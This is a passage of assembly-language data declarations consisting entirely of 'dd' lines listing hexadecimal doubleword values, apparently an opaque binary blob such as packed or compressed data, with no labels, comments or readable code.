0A3659670h dd 0FA1104B0h, 0D8DD7378h, 0B15C8768h, 403F8FCCh, 9E30E663h dd 2E933564h, 47140050h, 7188B819h, 13A44150h, 0E1DA2901h dd 0F8A87560h, 8B89D838h, 9825025Dh, 0E6CCE091h, 30F90FA3h dd 9E0A3C7Bh, 1A930208h, 0B481C3D8h, 8C5742F2h, 489CD7B0h dd 44030E4h, 0F96B02D1h, 25D3B60Eh, 16E38210h, 0E88C9103h dd 2AF868E8h, 7CD4BA52h, 9AE30ECBh, 60D9D01Ah, 0BB64C096h dd 0C3506860h, 62D4EC8h, 72E7F492h, 9EF0C02Bh, 710ABA00h dd 2878C831h, 19800FCh, 0C93522FBh, 524CC44Dh, 41191433h dd 7DE32ED4h, 1C1AB304h, 4414A0h, 0AD9897F4h, 0C8AA3B10h dd 0C4C98000h, 0D1630212h, 568780CDh, 0A6648438h, 0FD808CC2h dd 0CF1A4233h, 0FE48C21Bh, 0C864AFD2h, 0E6A89F18h, 961BD0C8h dd 8D0B8074h, 0C1CAF3D4h, 84DF1100h, 0F7C077CEh, 0F6F900A2h dd 5E58AD51h, 2D98CAC2h, 55F3D00h, 7419AA96h, 6790F12h dd 0FD4DDFFCh, 9EB0E028h, 185C6Fh, 15AB145Fh, 0D1A52C3Ah dd 0EAB4023Eh, 9D41FA24h, 19DDE044h, 7AD63800h, 0B049C706h dd 731803ECh, 54ED46AFh, 0C45001B9h, 4E189A39h, 0E188CDF5h dd 8A70696h, 786E5977h, 3214FA00h, 0C7CD2910h, 0F310748h dd 4FC3DF19h, 0D50700DDh, 18C5004h, 6FDC5B14h, 77A70108h dd 0D0056370h, 8ABC080h, 0F0E25641h, 0F585339h, 40A3D21Ah dd 0B1A552CDh, 0FB7F3CCFh, 6304430h, 460C9FC5h, 10108A19h dd 27990EF1h, 620339B0h, 2805D797h, 4490C7AEh, 383E8C1Eh dd 0A218EFBDh, 9004DC66h, 0C6E83A0h, 2E686253h, 992AAF10h dd 7718A852h, 8A28B378h, 0F11F2819h, 932C149Ch, 770CACCDh dd 0C420D317h, 0ED444200h, 9DC723C3h, 1F3CA046h, 7F0C8019h dd 810B4100h, 14639F6Fh, 0B118CE3Bh, 71FFAAE0h, 603077E7h dd 3A7F38C5h, 0DD906Fh, 0CDC5906h, 575B1809h, 747E0F06h dd 1428D684h, 0F8CDB294h, 5C51813Dh, 33191058h, 77B8E330h dd 76D4788h, 0F7BE5Ch, 7DF24699h, 1141F6h, 0BF4A6980h dd 7F371238h, 316FA63Ch, 0E246519Fh, 5441C049h, 0E188A5F3h dd 0B3002382h, 4EAB2A9Dh, 6DDF032Ch, 0AE8616F9h, 63FA70E8h dd 28575436h, 0F5440468h, 5FB504h, 19984DCFh, 4CA14912h dd 0A002FC40h, 82A65760h, 21451085h, 0B2ACACh, 0E0DF82D9h dd 5CFC0391h, 3DC2194Ah, 6051A803h, 0E76C63h, 322C7F28h dd 5392D59Dh, 47EC4402h, 814B954Eh, 86186F08h, 1941608Eh dd 78D88CC6h, 2EE87EFCh, 63102C74h, 0D112F97Bh, 0F2B00034h dd 0E2A6D524h, 731F41E2h, 0A801E09Fh, 0A522CF9Ch, 90BA08D0h dd 4E714078h, 733E9303h, 52CA7018h, 0F4067460h, 0E09DEF77h dd 0D609E110h, 62B8CF71h, 7B10286Ch, 40FB2440h, 9C887A6Eh dd 8281804Eh, 0EAFE8E00h, 0B668DF21h, 5745070Dh, 8DC5A01h dd 46831941h, 30179443h, 62D0D3A8h, 48C0C3B5h, 4480499Ch dd 0F7083019h, 3BDF0FA8h, 0DEB2B507h, 77F1D811h, 0B081725Ch dd 0DF2402CCh, 83C2206h, 1BF6049Eh, 78C8E0CFh, 10A239E6h dd 90FE3440h, 686FB10Ah, 9812BCF0h, 137A9C20h, 5F613FAh dd 6088588Ch, 0A440F777h, 2CD7878h, 637997F8h, 0E84607DCh dd 0C03152E2h, 0E18C30DAh, 4D5D3107h, 20AC7178h, 90C98984h dd 0C4281050h, 90D1F846h, 0D26F1874h, 49F01897h, 849C634Ch dd 0CD04C17Fh, 77B89C22h, 592F4F18h, 75F021A8h, 9048DED5h dd 90F03E5h, 7C38BE99h, 906BFA30h, 65D409ECh, 0DC198580h dd 987F086Dh, 749D7DE0h, 4B94001Ch, 0D06BC730h, 403B7D87h dd 4501FFC3h, 63DDA748h dd 18262082h, 0FC0D10h, 3AAD5486h, 7B9E421Dh, 1D87566h dd 0E765F977h, 0DCEF23FAh, 0C0C10B27h, 0B8042939h, 612419D4h dd 2ACD9820h, 4062E0A5h, 770210C1h, 4648015h, 0C9942h dd 82499E4Dh, 94A0C09Ah, 0A228C659h, 2F07A081h, 92E8088Fh dd 48536C83h, 0E226D5F1h, 0F89600E0h, 0BC23004h, 0C3E1F901h dd 4691C71Fh, 4017C411h, 0FCE2BED0h, 0C708D762h, 0C210844Ah dd 0E085C8C2h, 0F03A3886h, 77FD2427h, 1354230Eh, 41840087h dd 0A4625D67h, 0A7181067h, 0FD8148C4h, 2886188Ch, 0A9B456E0h dd 922C5098h, 9D0E7C86h, 132DE7F0h, 0C1C344h, 47E59640h dd 30199CF0h, 0F34023F1h, 8E1D3B9Bh, 1401C469h, 0EC6FDF45h dd 184994C0h, 887387B5h, 0FA00536Bh, 61EB980Dh, 0FD386FF7h dd 846E0824h, 0DC72192Ch, 85F47740h, 2E237831h, 204C6F29h dd 32EF07B8h, 62744C8Fh, 0B4A09519h, 20C3ECF9h, 4187F700h dd 0FA0C4B96h, 5C190011h, 4FC78AA4h, 2A0690BEh, 6FB663E8h dd 5AF50170h, 82DEF303h, 0C065F0E6h, 0E0A818C1h, 8C4CA473h dd 0A5231351h, 0B420117Bh, 4F8E6F83h, 679F280Fh, 0A51506F9h dd 266D00D9h, 188BD42h, 550DC75h, 0CF00A808h, 760F9D64h dd 183DE2h, 8198E72Ch, 74F9C385h, 0A640D260h, 0E11671ACh dd 40738860h, 0B30089F5h, 0DDA382E0h, 3AFBE51Ch, 0E881EA23h dd 0A04DC79Bh, 6236E406h, 0CE4E74Dh, 0B0632919h, 45B00155h dd 1A7710A0h, 705080E6h, 0FB66512Eh, 0E8E77B17h, 2A45E2CFh dd 6A884C63h, 28D4F87Fh, 3835E5D8h, 386DC420h, 1A02888Dh dd 0D0997C5Fh, 0E4CF0069h, 0F500B0A5h, 7FB33785h, 1E28C239h dd 0C074DFFDh, 81438FEAh, 0A703C16Eh, 1441301Bh, 0EF0BC080h dd 0D4710C51h, 6398AB11h, 4249E5Dh, 4DE4E0A9h, 1DCFAC8Ch dd 6419947Dh, 4C9931Ch, 0C415AAC4h, 260CB60h, 26C3EEF7h dd 206C6643h, 960C1191h, 0C122C019h, 3FFB2971h, 2C28F4h dd 1C219299h, 0EC0F3070h, 0CD6A3C01h, 77D83F66h, 0A51C447h dd 9420A5E8h, 4A8A269h, 0EC88FF08h, 2CA83277h, 5C50C170h dd 11498B00h, 6FB76A30h, 70AB5CEBh, 0BF10E580h, 6D3901EFh dd 190850DCh, 9876EC33h, 0B08BA020h, 63A60C92h, 0E1B0B360h dd 6E77880Ah, 8200D4EDh, 6BDC7F0Fh, 44B339C9h, 3E868180h dd 37DD8BE6h, 3FBC0350h, 0A3E711C0h, 1F6F340h, 5FA9969Ch dd 61730F9Eh, 0E82AC240h, 143A5700h, 33EF40h, 20F97853h dd 0C8BCD01h, 890B2479h, 0FFC381E3h, 0C83DD26h, 8F1C873Fh dd 0E0D5F75Ch, 3F0D18EDh, 0EA01066Dh, 2C8343E9h, 3CCFC3EEh dd 3D1BA195h, 38983358h, 40E90631h, 30281E68h, 0AEEC6F4Fh dd 0C4D53EFFh, 67B180Bh, 0EED0890Ah, 0E036019h, 34FFC229h dd 9858243Dh, 5C1643F7h, 52530366h, 0E280DAB2h, 5A1CE3EFh dd 248B1C1Ch, 31F3474h, 7233DFE4h, 3EB0B351h, 8C185229h dd 243C3572h, 0C7EC48A4h, 331806A5h, 40CCE92Ah, 56314E2Fh dd 0DBD96787h, 2804D99Eh, 31B48219h, 8308C12Eh, 876C02ECh dd 7AF7D624h, 4EC1BE9h, 0E0984689h, 18A0BF57h, 5F00F801h dd 0F3BE5653h, 25C918h, 0F4F6814Eh, 0BB2B2E30h, 0EF69E301h dd 4690E97Eh, 0CB803681h, 0E8C3FE83h, 14C039AEh, 3649CB9h dd 60DEF46Bh, 21CE9B48h, 80F7616Ah, 3D3AD554h, 0CC6832Eh dd 0DE04E901h, 0F3C58BE2h, 0DA417561h, 0CF015FF9h, 0C9535CE8h dd 240EC0DBh, 98F3050h, 0C0812CE9h, 0D0F74820h, 0BE011505h dd 0C2010B3Fh, 965C048Bh, 28144833h, 8A0D066Dh, 0F642DB44h dd 6606D366h, 0A0FD7C9Ch, 25C11884h, 4B30F66h, 0D27C2988h dd 0AD86A320h, 0FFDB7451h, 121D77EBh, 75CC562Ch, 0A0522CECh dd 1B7DC4h, 8768627Ch, 5A9D83E4h, 0FEFA0132h, 8B3849D3h dd 0C66178BFh, 26E78957h, 0CC67C21h, 20CD3C87h, 89482AB3h dd 48B92A02h, 5159CD1Eh, 81130258h, 4FA507C5h, 0F9296F96h dd 2A08CC08h, 0B2E91033h, 1B413B82h, 24BAE13Dh, 0C7F5897h dd 445F4EB6h, 6ED4EED8h, 42EB181Fh, 0D081481h, 4AE22E06h dd 0B0107C29h, 540C8493h, 3455D45Fh, 5D96E589h, 2C62A06Eh dd 45AE8Ch, 0C31125B9h, 0AA49013Dh, 2803D289h, 26EE80C6h dd 32517E66h, 5327FC4h, 0A48629AAh, 85BB1428h, 9457E984h dd 81D61FE3h, 0D359669Dh, 8CF05114h, 836402D1h, 0D102B6FCh dd 0CF24E434h, 4D3509EBh, 4C805342h, 2F5731C8h, 5B62E912h dd 3510D024h, 722C109Ah, 6318533Bh, 0E8D10C3Dh, 3C67A9FAh dd 0CBD35D0Eh, 0BA0C0655h, 0D01F17E6h, 63055824h, 0D51A5C6Ah dd 4A90085h, 64F00B1Ch, 93E75A73h, 85B1504Ah, 0C96F5991h dd 0E17ADBD3h, 0B5423189h, 75B8A333h, 5A163BFEh, 4089B413h dd 0AC0BA73h, 13FE8A8h, 0C63100D0h, 6E6C158h, 0CEE1E34Eh dd 887F1E9h, 8987D9F7h, 6A423B00h, 17C58C7h, 68E9590Dh dd 81E45249h, 6510ECAh, 0F2C01D1Ah, 21663590h, 7400C2F8h dd 4A2DB93Eh, 0C558E8E9h, 8D3F732h, 890F46AFh, 20EBC5F0h dd 74257114h, 0FE08BF91h, 90B2993h, 711EC81h, 509B2189h dd 44E9540Ah, 55182765h, 2585C00Ch, 0DA46CAC6h, 202B2486h dd 1C1961FEh, 0FC07EBC1h, 32A28A9Ah, 54529C82h, 44A89B82h dd 0BA683E90h, 0A2571F69h, 606A569h, 31400C52h, 403CF8ACh dd 0B2A3292Fh, 7C05E898h, 18C35512h, 0B05DC049h, 3768526Ch dd 0F85D5691h, 5321408h, 845BF930h, 89854A28h, 0D0BD02F0h dd 0ED404F44h, 1AD31B80h, 0F123B828h, 5AB10014h, 0C12951B8h dd 88FCAF1h, 0DD34A8BEh, 0D06B636h, 5FEE681Ah, 50598075h dd 30E9D888h, 0EB590994h, 0C0482523h, 119D1009h, 0D35B5E15h dd 7C0F44D3h, 9D3CC4Eh, 40F40444h, 0C60101F3h, 4E75BD55h dd 0EEE11D79h, 77B09347h, 0B139717Bh, 0F6E96108h, 272B3430h dd 630B4C07h, 0C5C3CD89h, 0BD180E50h, 42CF07C2h, 13A43E49h dd 37718766h, 0C7C1575Eh, 0A929A08h, 1088337Eh, 0EF337D72h dd 0F3080606h, 46DDDC3Bh, 0BAD4D298h, 0C801015Eh, 4248902Dh dd 74615933h, 0E9093632h, 243882D0h, 0ACA63A31h, 284D37A8h dd 0AEE8180h, 75347C7Bh, 0F021E279h, 0D129B8C4h, 6697A923h dd 0BF0B125Fh, 828CA908h, 91400F59h, 0CF5D513Fh, 0E6523CACh dd 0E64D3859h, 1C474841h, 57387E75h, 1194C48h, 74CA4A36h dd 0A821E7C1h, 0BB0048D9h, 14004124h, 81DBF752h, 245647E3h dd 10BA75A8h, 0EB881C05h, 374C189Eh, 48B4124Ch, 0FB34D265h dd 56357Eh, 4B28687Dh, 5D0054B3h, 6D84BB53h, 7215CD3h dd 0B8505BDDh, 2C24080h, 5098C529h, 38BFED06h, 380C7BD0h dd 0D602B4C1h, 2C8BEA89h, 0C202C7E5h, 61C50D30h, 1528F729h dd 35D80074h, 0CF365F0h, 3106CD2Dh, 0C70127CAh, 1DEF0162h dd 5E329A40h, 5D60DE83h, 5C805B45h, 298A3468h, 0B8A000C3h dd 17637D99h, 8001A190h, 0E93EB23Ah, 5F02160Bh, 0D4F811ECh dd 7DAEA2BAh, 9CF63833h, 8007B1C0h, 58282860h, 582C0ECBh dd 36CC3E74h, 7F328725h, 0F24FB80Ch, 1A203B0Fh, 1E8D6479h dd 241709Dh, 0C8C7303h, 5B41D828h, 681743A4h, 5830406Dh dd 0E60B753h, 0F9885150h, 0D2E9CC42h, 8790BE6Ah, 0AD8015A3h dd 60E79951h, 73135268h, 0BCE94B0Dh, 21623AEBh, 4BD78B16h dd 0B202EF74h, 0BD005E30h, 2C3E0D64h, 0B1A5013Ah, 4835DADh dd 88ED2382h, 0E9046412h, 5A07060Ch, 0F801CE04h, 4221B151h dd 29517AAEh, 67100491h dd 928130CDh, 24DC1528h, 88EB0141h, 0E90C0385h, 28885BB1h dd 49F5AD3h, 0B5515B66h, 64BAC7E4h, 0C65F0E57h, 0F8878032h dd 90DAB2FFh, 994EA57Eh, 5131BA33h, 9A2836E4h, 60971C6Fh dd 3D741DEFh, 98982B99h, 0EAC116F0h, 0E4A2EDB8h, 756CF4C2h dd 44A972F7h, 0F46855CEh, 51041034h, 0CBC05954h, 0D817E3Ah dd 0B99E910h, 0B65F2445h, 0F720D519h, 9007D9BEh, 5AF0880Dh dd 2E0C007h, 90214F0Ch, 90E7E8D0h, 0A3483403h, 0B2442E3Dh dd 81BB98A8h, 560B06B8h, 8E291287h, 8EE6B50h, 0FF200B05h dd 6B08B820h, 9492F85Bh, 21ACB90Ah, 8887A69Bh, 0B62E53AFh dd 5717B2ABh, 5A5F3922h, 0C330244Eh, 0CDC11264h, 0E90D8BC1h dd 96A9AD84h, 0EE281E23h, 8C039606h, 0C51D4CABh, 0AC036601h dd 5DEB0110h, 89875248h, 0BE00246Ah, 7D600F9Ch, 157B8B10h dd 0BE6227E9h, 0E7F2F720h, 2F13A8F9h, 2550E83Dh, 542C0E17h dd 0CC3250E2h, 77298140h, 5D4E24F9h, 84E74239h, 5F5881A0h dd 42121325h, 0FF063F2Dh, 48501CAh, 3B2E60EAh, 727834Ah dd 5594C0A4h, 1D602A19h, 0BB596E0Ch, 0C0527D31h, 0B865C7FAh dd 0F6FE5E6Bh, 344307A2h, 0FC68DB13h, 10A4DF87h, 952DE0B1h dd 0C4EF4FD6h, 20887173h, 38224282h, 0E5F032E6h, 0C0AC4358h dd 4F529EBAh, 57513F22h, 0F3BD095h, 0FD015D4Ch, 0E9624323h dd 0E555A64Fh, 2EF0983Bh, 1E412D0Eh, 952FA86Bh, 0BD00F9DFh dd 12207BAFh, 810FDDF7h, 0E08455F5h, 0E9EE89EDh, 3B8B9C87h dd 15AD680h, 8C055EF3h, 73E3301Eh, 0F208A12Eh, 68813953h dd 70206109h, 0C393645Bh, 4130D69h, 12F728D6h, 554E0642h dd 48743715h, 4E925655h, 1047BBC7h, 834354EEh, 80E43738h dd 8BD989CDh, 52763A90h, 0A1E9E20Ch, 38C55F07h, 583D695Ch dd 87642BA6h, 0EE07E6C1h, 8480356Eh, 0E9DEF777h, 99712227h dd 0D5E830B3h, 5480A1CAh, 0CD4CC765h, 26584CC3h, 1F08A106h dd 400E6C18h, 0C0287B74h, 7E56AAE5h, 64CDA03Dh, 8530F3ABh dd 995F49FDh, 49D35324h, 4230DF02h, 0CA9CA40Eh, 5A8CB5F2h dd 443B877Eh, 0F740002Ah, 36C135D0h, 50A04C5h, 82EF724Eh dd 1B4A2F98h, 9A4E9164h, 4860E12h, 39E1008Eh, 814F7AFEh dd 3213A0CFh, 0DE0B7C88h, 35839079h, 13050062h, 22A8F781h dd 4F71021Dh, 0F1D0E919h, 2E202850h, 5B0E40E6h, 4E5C000h dd 5098CD80h, 28B23CB4h, 0C58058BCh, 0E0B353A7h, 3FDD44E9h dd 0E50891D2h, 63BE0112h, 0E8375E23h, 0F5C25F4Ah, 0C05A66D0h dd 0A0CF2C65h, 0A92A5668h, 0E2DD5289h, 8F595338h, 5DEA0F73h dd 0FAA9D021h, 3C338461h, 801A181Fh, 0F0F801ABh, 9349C2Dh dd 0CF2FFB89h, 14D36C46h, 4E8FBA02h, 0E0426550h, 241BB82Dh dd 34D73D22h, 4BF08257h, 0F73E7258h, 0E05A96D7h, 7CEEC491h dd 494ECA05h, 4A8793EFh, 605A0670h, 5401377Ch, 276CC510h dd 6F2AF90Ch, 0D16E12A1h, 93E290D1h, 7E05D1C1h, 0E9A73E09h dd 8B9F0F4Ch, 0C2211C6Fh, 7A68E9h, 2C7B5A2Dh, 0BE4C912Eh dd 370ED993h, 99E63541h, 92414009h, 2202E157h, 0BF0ED70Dh dd 80CC403Bh, 7C77041Fh, 0C703E3C1h, 10C1882h, 0E7D220D0h dd 0D33261CAh, 0E902248Eh, 0EBB11B6Ch, 969CA3Eh, 2DF2982h dd 551587h, 0FEA6F380h, 0EB3ECB75h, 5486BBE8h, 0B50FB9B3h dd 653E055Bh, 0BBCC63B4h, 525F0953h, 0C4C0BD68h, 4F4DC4E9h dd 0AA2826B2h, 5B1724C9h, 0E6192F87h, 44D24F49h, 1EC8D448h dd 7F13689Eh, 8D21C964h, 0C241D729h, 5802697Ah, 0FD93C2C6h dd 1841E905h, 5DBB9298h, 9650AE6Ch, 5ACB0FEh, 28E8B252h dd 3A282D5h, 99BDA6DBh, 85DB2113h, 8F7E9FB1h, 10D93D1Bh dd 800559DDh, 5D2823C3h, 681677A1h, 4E8E21Bh, 28E1B66Eh dd 1AB786F3h, 0BAE77277h, 95E98930h, 509C244Ah, 0AD085F87h dd 0FC416683h, 11BF8000h, 0C140D27Bh, 1C054CE7h, 4F622205h dd 0ECF1011Ah, 6001F020h, 0DBF4E309h, 0FB682677h, 5F24081Ch dd 44D8750Bh, 2DD194ECh, 0B3513405h, 59CF1220h, 2EE9752Ch dd 0C1FAE76Eh, 2C5A1A68h, 5B548DB8h, 0B6B49628h, 0C4D14C04h dd 0C5F44869h, 2B714C1Eh, 930631CDh, 2CD55C0Dh, 0C7B91B04h dd 0E4F18003h, 96EEB1C1h, 0A40C0110h, 2E9CCE52h, 25DE9F06h dd 0D1021FF8h, 26E94132h, 884A5278h, 80159FF8h, 811EF729h dd 2DC743EFh, 0F8955E58h, 729D8AC1h, 22D536Dh, 0D0AF3A18h dd 77A200B2h, 6D256FC2h, 2C7AE406h, 5A88C382h, 0A4763410h dd 27400D75h, 0B8ED0381h, 0C111C861h, 41F61EB5h, 0B119C912h dd 2C672C29h, 5A96630Dh, 5602B705h, 0A180F2D5h, 585385CEh dd 0D814274Bh, 17B1B930h, 9889ACE4h, 0BD0732ACh, 0C2E42CC3h dd 67B812A0h, 0FBDB246Eh, 30483B0Bh, 30965D5Eh, 0A7D30849h dd 0BD004AA6h, 0C058E688h, 0FE031CEEh, 0ECE98C6h, 80FAD008h dd 0E9126FF2h, 1A5F0CABh, 82565D49h, 11AE74Ah, 0E850E2D1h dd 16175FBEh, 1F1A0E4Ch, 9029C004h, 72590B22h, 5278C14Eh dd 92C670E7h, 5EF04EC4h, 2224A282h, 18C0FA01h, 2C997491h dd 0DE7912B3h, 0A2958D2h, 8F00824h, 8B220E45h, 1EB76817h dd 1150AF8Bh, 70621246h, 9495144Ch, 90590840h, 2EB8495h dd 68C8B70Fh, 0A0660408h, 26BEE915h, 0C65510C5h, 0B50627Ah dd 0DF61C288h, 0DB627860h, 59D7B54Eh, 845613FEh, 7F61A0CFh dd 50781668h, 65C0BF3Ch, 0C2510B33h, 50033FFFh, 6005E092h dd 0AE3E3ACEh, 2036144Ch, 16B43808h, 3C4F0D19h, 595E84ABh dd 3096BDE9h, 3B5C7A79h, 0A9D83C88h, 0DFBF714Fh, 0E572A9C5h dd 1D01BA0Dh, 7D782961h, 0E9124746h, 0B4B6843Dh, 0C01C0BD0h dd 797840Fh, 76AE022Dh, 0FFB9606Bh, 5C012F4Bh, 0D0B41DBBh dd 3FC5E9A3h, 451755A8h, 6E844002h, 0B1DCC38h, 7CCD101h dd 7E86B2DDh, 125F4FD3h, 68FA8031h, 7D99480Dh, 8B16E7BEh dd 0AF3CC56Bh, 3340E51Ch, 0D06D931h, 0D8CC785Ch, 0B8478F0Dh dd 6168BC6Dh, 811023E9h, 0CFA9EFB7h, 0FDF902BDh, 9C552AF4h dd 0C31495DCh, 39807240h, 0C59D08F5h, 1ED8233h, 2D90D5F6h dd 0F7FA32B7h, 0FD289207h, 0E99F535Bh, 989B0766h, 3A0F66ABh dd 34A95456h, 2AEF42F5h, 0C14C0652h, 0A2D42D84h, 91A800Fh dd 6481F59h, 18225A49h, 3CCEB7E9h, 0E548C145h, 0DBF50147h dd 29138722h, 52008E39h, 3167308Ch, 1935BD8h, 26EE91Fh dd 0DAF75987h, 4569DC82h, 0B3227AEh, 0DAE914E0h, 6765B2AAh dd 3357298Fh, 41621B04h, 1DCF5E0Eh, 0E49F2017h, 677BA57Ah dd 1018122h, 842D5FF9h, 0EC6AC365h, 7A005C8h, 969E30E9h dd 737D6805h, 267D01B2h, 970EC442h, 0EB2209D3h, 3A57CB83h dd 0C5FDB125h, 0C9E90B43h, 65041EA9h, 0AB5017h, 0CB8054B3h dd 0B8D3F6D6h, 39E9193Bh, 8A2D2CF7h, 0EC5660C6h, 680A8390h dd 0A649057Fh, 232B4B7Fh, 0CF88B565h, 0AD561406h, 5176D107h dd 0B121C43Ah, 1891013Fh, 0C1596464h, 0DB9BEC00h, 0DABD55A1h dd 282B2C22h, 0AD572C5Fh, 0DA137D92h, 43BE7802h, 0C413F55Bh dd 96E60B06h, 8802644Fh, 0DF49BFE9h, 1B27604Bh, 7A117011h dd 394D62Ch, 17916402h, 2AB2F6B0h, 460E5330h, 901B4CBBh dd 26C60336h, 216EABF3h, 0FCF20AA5h, 0D92986CEh, 8001BC5Bh dd 89F54928h, 8C8E59CEh, 56384E05h, 0B905C887h, 1C7721FEh dd 7C469859h, 1859463Ch, 870C838Ch, 18E9ECC3h, 56696730h dd 86479358h, 0C93E1258h dd 3295805h, 73F23548h, 26D009C7h, 384AE5BAh, 31466781h dd 79E1DD52h, 0CCE9E10Dh, 0B90AAC6Ah, 0AA112BCh, 0E48FE14Bh dd 5052004Fh, 0C336FB68h, 51775805h, 87670C06h, 74525956h dd 49332E31h, 38B802BAh, 38E11E0Ah, 0CD5F8019h, 693C2D59h dd 5D6C7D67h, 0C10F45D7h, 0A90507E2h, 89F959DBh, 7A0CCE95h dd 8FC85888h, 0D2F6580Eh, 8603D1E9h, 3987CFF1h, 0E69B60C9h dd 53246EE6h, 0DD60DABBh, 1789565Bh, 8136E9E6h, 21EF0189h dd 862228F0h, 0E11AF90Bh, 0CEF52631h, 10056761h, 282EBF00h dd 2F6866C3h, 0A6AE6752h, 8C38F1E4h, 2502B7B4h, 0EF80DFF6h dd 0C9AA6109h, 2813C7D8h, 4B58FC88h, 0B819C4BFh, 0C8FAC9D4h dd 95409599h, 492E14A2h, 30A30409h, 75813BA0h, 0E16D1EEDh dd 6035CC38h, 999FAEBh, 0E9424A60h, 274B5F8Dh, 0CC782CFh dd 7034A0Ch, 899FBC5Ch, 548BD3E8h, 6691A50h, 0D70FD990h dd 0CE140872h, 0C18E336Fh, 21902E7Eh, 5053504Fh, 1AEFB805h dd 25836B27h, 0C1250231h, 0D037DB26h, 53798640h, 13F29ECh dd 8EA28CAh, 12E51A1h, 3D71C821h, 0BA0071C9h, 9C3443AAh dd 0EA40144Ah, 5B52535Ch, 0A9DE7389h, 712A5AB5h, 2CB6E98Dh dd 922B481Bh, 0A0FE96A0h, 0B11C6F12h, 2C70CFE9h, 0E5C81BE3h dd 4E790E27h, 0C168E432h, 0D25858F4h, 407AE7BDh, 425824E5h dd 7B13DE47h, 9FE974C4h, 0C5133E1Ch, 19C14D37h, 840706D1h dd 2DE4571Ah, 0E3E91882h, 0D2049A8Fh, 4D92F2F2h, 5D89173Dh dd 12D68E04h, 0F25FCCB0h, 127D96E3h, 0E3F4665Eh, 7F9E109Dh dd 7C3C8352h, 9552502h, 0F6D9E68Dh, 79F05164h, 0F70007D9h dd 0DE7231D3h, 8408F369h, 680263AAh, 877923DDh, 25385817h dd 403F4FEAh, 0A61E9D63h, 1B975F2Ch, 0E90D165Dh, 5193C0E7h dd 0C051B0B5h, 86746093h, 59EE3002h, 5C44F668h, 4C4D67C8h dd 0BBE011h, 445AD089h, 95334942h, 24F9210h, 61BB2ABAh dd 2CDF74E3h, 11013CECh, 0B3E96FC8h, 54EE5336h, 73764ABAh dd 70A67A2Eh, 1DFF981Dh, 5858BA3Ah, 48EA310Ah, 54975E9h dd 0D878F01Ch, 75BA5A6Fh, 50F4C3Bh, 3719AE7h, 5CEF79C0h dd 6BC52751h, 0A62208AFh, 44C29994h, 1D3E83D1h, 0B29853F3h dd 1650C6A8h, 8555B71h, 933A7F27h, 0ACDC013h, 833A733Bh dd 25D80C4Eh, 222FD4F9h, 0AED3122Ch, 0FA9C8DDh, 67411119h dd 2C2FC968h, 0A8E982C1h, 5C83FA32h, 0E83F80CAh, 178EF52Ch dd 0C0ECC4D1h, 0B81FF6C5h, 0C4Eh, 0B62CCCEEh, 209D9028h dd 5B7635E8h, 34C9DF7Dh, 2A1DE55Fh, 0D1D24E6Ah, 0BF9BF5h dd 90D830ACh, 36CF2F57h, 32669119h, 8B0F27E1h, 0F0CD07E1h dd 0F8285AC1h, 83227124h, 71D831D1h, 0BA1670D2h, 41044409h dd 56242418h, 62831EDDh, 5E36DBB9h, 0F080C294h, 71E98741h dd 0C6443A20h, 5A0044FBh, 2712BD35h, 5C16A4Ch, 95D8E547h dd 405C3DF0h, 39D25406h, 79C1E8D2h, 0E98F6FB5h, 56200ADCh dd 102834E1h, 472DE408h, 1597F89h, 0E1B65892h, 8C76BA12h dd 0E0415D4Dh, 0CD920272h, 0DE170184h, 0D95607BEh, 8492A00Bh dd 34999542h, 6467E850h, 0D9B253B1h, 0E632E05Bh, 5856E88Fh dd 3064C5Ch, 0E10BCEE9h, 0FB03FD98h, 4F29BB5Fh, 9F284B24h dd 99E91A60h, 62D8C081h, 0CAF3D43h, 934329A4h, 83ADC450h dd 2BDE3084h, 1869C238h, 0B20C742Eh, 67B32C0Fh, 3408485Bh dd 0DC141A0Ch, 26FA507Ch, 0A02AFE97h, 82C0DB55h, 123D77D1h dd 5EB42CDDh, 95C34E81h, 1861E1AAh, 1A0216FCh, 63E93768h dd 0BD5EF346h, 1759F49Bh, 41D9C2B0h, 7D2D2F7Bh, 51D83909h dd 0E9A21F28h, 64E92C54h, 9D91FC75h, 0E4660805h, 7C54E0B7h dd 3148F707h, 2BF2003h, 34AF2B9h, 0EFC2894Bh, 0C8203476h dd 3504AF04h, 65E9297Eh, 4BBB6809h, 2184421Ah, 3D30E171h dd 80C53B98h, 89FE9E07h, 5015DEAh, 8B0203DAh, 88C27514h dd 52BC97C3h, 0ACB81627h, 624D9C42h, 14080BECh, 4516C425h dd 0BD65D482h, 0E82158C1h, 0CCCC15Dh, 50C82731h, 908D7109h dd 0D8A6280Bh, 58FE686Dh, 54C45911h, 4892E35Bh, 1D1510E3h dd 0C9D9881Fh, 0AE8FCB28h, 13573BB0h, 7A21752h, 0CC68F584h dd 2BFB8FEDh, 4EE90831h, 80013E2Ch, 0FD08F2F7h, 20F5D95Bh dd 3540D2B7h, 693F2F68h, 0E91767B4h, 1696C437h, 6490C962h dd 31F5D4ADh, 0D25E2662h, 0CC4CEB12h, 0BB334031h, 0EFE02551h dd 0CC740EC6h, 4397B1B6h, 5CBA4780h, 652302F1h, 37206605h dd 88CCEC0h, 734D7CABh, 1080D175h, 0B11D6B97h, 40CAD343h dd 0D9685205h, 50000731h, 42D2F75Ah, 1356E281h, 1B3F9E53h dd 298049D0h, 3E20E9D1h, 8FBF072Dh, 0C7050C17h, 0B132C4F8h dd 3F6543B7h, 8EE02EFAh, 329C895Bh, 408FCD3Bh, 5A1BFBF7h dd 980C5843h, 24F7889Ah, 6DA21h, 247291EAh, 2ECC116h, 69E412C7h dd 0DDE9A993h, 0FCB8F3A0h, 6FAA005Bh, 462DEE05h, 0E912522Ah dd 63E512EDh, 16809A3Dh, 29691064h, 0EB1EB694h, 0BE560160h dd 5E992047h, 0D6493531h, 0E99C6B72h, 8DF8A56h, 0E0A72495h dd 0D7FAF412h, 29828CAEh, 0D187CA03h, 74E1C15Ah, 414B2EE0h dd 0C9283009h, 3C583D24h, 0D7145FE1h, 0F86318BFh, 5CD14B0Ch dd 0E10681EBh, 902F8239h, 7D0C167Ch, 2EDD01C8h, 0BDED40E4h dd 358ED616h, 8CEFFE0Fh, 4C5F8545h, 5A89BF52h, 968B9629h dd 0D8AD40C1h, 0F3A8737Ah, 0FB3F4615h, 3C8DC3Fh, 0E7DFD756h dd 0E962A7F7h, 2621565Eh, 0B2EC1663h, 0CFC42648h, 620E6858h dd 263E2105h, 9C035D05h, 10A908F5h, 3563218h, 1F1135BAh dd 5D4D33Dh, 0AC6866B9h, 0F32BC209h, 3C22648h, 3F287F76h dd 8348AA01h, 0A09859B6h, 0C052FCE9h, 0C8B0504Dh, 58ECC120h dd 9EC717B6h, 0A8B353F3h, 0B66C54E9h, 